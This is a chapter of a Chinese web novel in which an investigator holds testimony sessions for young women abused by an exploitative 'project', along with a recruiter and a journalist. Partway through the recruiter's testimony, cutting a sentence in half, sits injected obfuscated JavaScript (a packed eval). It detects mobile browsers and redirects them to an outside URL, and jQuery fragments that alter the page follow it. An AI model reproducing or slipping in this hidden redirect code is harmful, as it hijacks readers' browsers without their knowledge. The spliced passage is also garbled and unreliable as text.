林茜递了瓶水给她，她接过去喝了一口，声音哑了点，但还是挺直了背。


    “我要讲名字。”


    “我叫邵唯。”


    “十八岁那年，我在‘讲述素材项目’里留了音，现在我要收回。”


    “我不是讲素材。”


    “我是讲命。”


    “他们不能拿我哭的视频去换资金。”


    “不能拿我的录音去交差。”


    “不能在她们一个个死了之后，还说‘她们素材反馈不错’。”


    她把帽子摘下来，露出一头短发。


    “你们可以打码，但这次，写我名字。”


    “让他们知道，我活着讲完了。”


    程漾把她的话一句没漏地记进原稿。


    “这份，我们立卷。”


    “她愿意实名，我们就写名字。”


    “你们说她是编号，我们就拿这名字顶上。”


    “你们写‘反馈良好’，我们就贴上‘人命未清’。”


    讲述会还没结束，联络组那边传来消息。


    “新增预约八十三人。”


    “其中二十四人希望录音讲述，五人愿意现场讲。”


    “还有一个女记者，说她曾在‘项目报道组’待过，现在愿意讲她当年是怎么接到稿的。”


    “她说，她是‘听哭的人’。”


    程漾一听，立马站起来。


    “让她来。”


    “安排第三场讲述会。”


    “我们就照这个规格搞——谁讲，我们就听。”


    “谁听，我们就记。”


    “谁记，我们就立案。”


    “我们不是在搞活动。”


    “我们是在追账。”


    “是让她们一条条讲完——她们怎么被写成数字，又怎么自己变回人。”


    “讲述人机制，从现在起，正式备案。”


    她回办公室，直接起草报告，标题只有一句：


    【关于“讲述人制度”入卷请求书】


    林茜在旁边帮她理资料，小声问：“你觉的他们那边会批？”


    “批。”


    “你怎么知道？”


    “他们怕。”


    “怕我们讲太多？”


    “不是。”


    “是怕我们讲的太清楚。”


    “怕我们不是在‘情绪渲染’。”


    “是照章立案。”


    “怕我们不是在爆料。”


    “是按程序清算。”


    报告发出去不到两小时，调查组那边回了电话。


    “同意备案。”


    “但要求讲述必须留音源原档。”


    “每一份需附‘讲述人自愿书’与‘内容核查无误确认函’。”


    程漾听完，直接把手机往桌上一放。


    “他们不是要合规？”


    “那我们就合规到底。”


    “下一场讲述会，换会议厅。”


    “开两天。”


    “讲完为止。”


    林茜问：“要不要准备点茶水？”


    程漾摇头。


    “准备空椅子。”


    “这次——不请谁。”


    “谁想讲，谁就坐。”


    “她们不是为了录音来的。”


    “她们是为了一句：这次你们听我讲完。”


    会议厅设在旧城北那栋老职工活动中心。


    门口台阶高，砖缝里长了草。


    桌子是从文化馆借来的，木头的，角还蹭着旧漆。


    程漾站在门口看了几秒，然后说了句：“就这儿。”


    “我们讲的，不是档次。”


    “是命。”


    她回头看了一圈：“灯装好了吗？”


    “装好了，棚灯、顶灯各三组，没开滤镜。”


    “收音设备谁盯？”


    “林茜那边。”


    “摄像不要转场，固定两个角，谁讲就定镜头。”


    “好的。”


    讲述会正式开场那天，下着点小雨。


    但人不少。


    有登记过的，有现场来的，还有几个带着孩子的中年女性，说是“陪朋友过来”。


    现场坐了三十多个，站的更多。


    第一位讲述人是个二十四岁的女生，叫柳瓷。


    她没要化妆，也没带稿子。


    上台第一句话就把人听住了。


    “我被打针，是因为他们说我太沉默。”


    “打完以后我一天说了一千多字，他们说‘效果不错’。”


    “然后我就被标成‘反馈良好’。”


    “我才知道，我不是‘情绪异常’，我是‘配合度不够’。”


    “他们不是在治我，是在调我。”


    “他们要我像他们想的样子活着。”


    她讲的过程里，没哭。


    只在讲到“调”这个字时，把嘴角抿了一下。


    “我不想活成他们调过的样子。”


    “我现在讲话不顺，是因为我喉咙被灌药灼伤。”


    “我没办法像视频里那样讲话清楚。”


    “所以你们听不清我讲的没关系。”


    “你们看我写的就行。”


    她把一份文件放到桌上。


    “我保留了那张反馈表。”


    “上面写着：‘该资源可拓展，调适效果良好，建议继续试点安排’。”


    “我那时候刚过生日。”


    “我不知道我是哪天成了‘资源’的。”


    “现在我知道了。”


    “是他们看我不吭声，就觉的我能控。”


    “是他们看我不反抗，就觉的我好打。”


    “是他们把我的沉默，当成了顺从。”


    “可我不是顺从。”


    “我是没的选。”


    她讲完后，程漾把那份反馈表拿过来，直接装档，没让她多等。


    “这份材料，我们正式入卷。”


    “你不是‘反馈材料’。”


    “你是证人。”


    “你讲的不是情绪。”


    “是案情。”


    第二位讲述人，是个男孩。


    他十八岁，穿着一件黑T，一上台就说：


    “我是被安排人的。”


    “我不是讲述人。”


    “但我现在想讲。”


    “我讲我当年，是怎么一步步把别人往那个‘体验区’里送的。”


    “我收的是现金，没有签合同。”


    “我当年跟着一个做‘项目协调’的老板，他说‘你就是联络员’。”


    “让我在微博、小红书上找那种‘说自己穷’、‘说自己没出路’、‘说想红’的女孩。”


    “我联系她们，送她们去‘风荷’。”


    “我告诉她们，有机会拍广告，有人请客，有人帮签工作室。”


    “她们信了。”


    “我送了七个。”


    “有三个，后来联系不上了。”


    “有一个跳楼，没死。”


    “但她现在说话断断续续的。”


    “她还会记的我。”


    “她见我那天，在风荷门口问我一句：‘你是哪个导演派来的？’”


    “我说我是助理。”


    “她说助理也算人吗？”


    “我当时没回答。”


    “我现在回答她。”


    “我那时候，不是人。”


    “我是工具，是他们用来筛人的筛子。”


    “她们进去，是我拉的。”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057448|175465||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她们出不来，是我没讲。”


    “现在我讲。”


    “不是求原谅，是我知道——她们讲不出来了。”


    “她们死了，我活着。”


    “我就该讲。”


    程漾让人给他准备了档案表格，让他自己签字写名。


    他把名字写上去了。


    “我叫石然。”


    “十八岁。”


    “我不配的轻判。”


    “但我愿意作证。”


    第三位讲述人，是个记者。


    年纪不大，穿着长风衣，挎着旧单反。


    她坐在讲述位上，拉开背包，从里面掏出一张老档案。


    “这是我五年前第一次跟‘青年文化调研团’去拍专题时留下的项目安排表。”


    “上面写的是‘女性成长项目——心声采样’。”


    “他们给我的是素材清单。”


    “我对着清单一个个拍，拍那些‘说自己改变了’、‘说自己感激平台’、‘说自己愿意配合’的女孩。”


    “有一个女孩，我现在还记的。”


    “她说自己愿意拍视频，是因为不想被退回。”


    “她说她之前拍过一次，剪出来不够‘正能量’，被退了。”


    “所以这次她化了妆，笑的特别大。”


    “但她笑完那一段，转头就吐了。”


    “我想关机，被制片人拦了。”


    “他说‘先录完再说’。”


    “我那时候只觉的恶心。”


    “但我没说话。”


    “我不是没良心。”


    “是我知道——我要讲出来，就的丢饭碗。”


    “我那时候才刚转正。”


    “我怕被骂，怕被刷差评，怕‘态度不稳’。”


    “我后来没去风荷了。”


    “我转去别的板块。”


    “可那女孩后来死了。”


    “她被写成‘精神失调’。”


    “我知道她不是。”


    “我见过她下班走在那条小道上的样子。”


    “她走的直。”


    “她不是疯。”


    “她只是讲的太真了。”


    “真的让他们怕了。”


    “我现在讲，是因为我知道——她讲不回来了。”


    “但她那段视频还在。”


    “我带来了。”


    “你们可以放出来。”


    “让他们看看——她当时说的‘我愿意’是拿刀指着讲出来的。”


    程漾当场打开视频。


    片子不长，四分十七秒。


    前两分钟是讲述人讲自己“收获成长”，后两分钟是她关掉麦后趴在桌上吐的画面。


    视频结尾，只有一句话：


    【我讲了，我能活吗？】


    那一刻，现场没人说话。


    只有录音笔还在亮着灯。


    程漾收了视频，一句一字落档。


    “这段视频，立卷。”


    “这不是表演。”


    “是证据。”


    “她不是‘配合者’。”


    “是受害人。”


    她看了眼时间。


    下午四点二十七。


    讲述会还有七个讲述人排着。


    她说：“不撤场。”


    “我们听完为止。”


    “每一段讲述，不是直播。”


    “是——立案。”


    那天下午，讲述会一直开到晚上九点半。


    中途没人起身走人。


    现场椅子坐不下，就站着，站不住就靠着墙。


    有人点了一盒烧饼，一袋矿泉水放在后台，谁讲完谁就过去拿一口。


    也没人喊饿。


    因为没人舍的走开。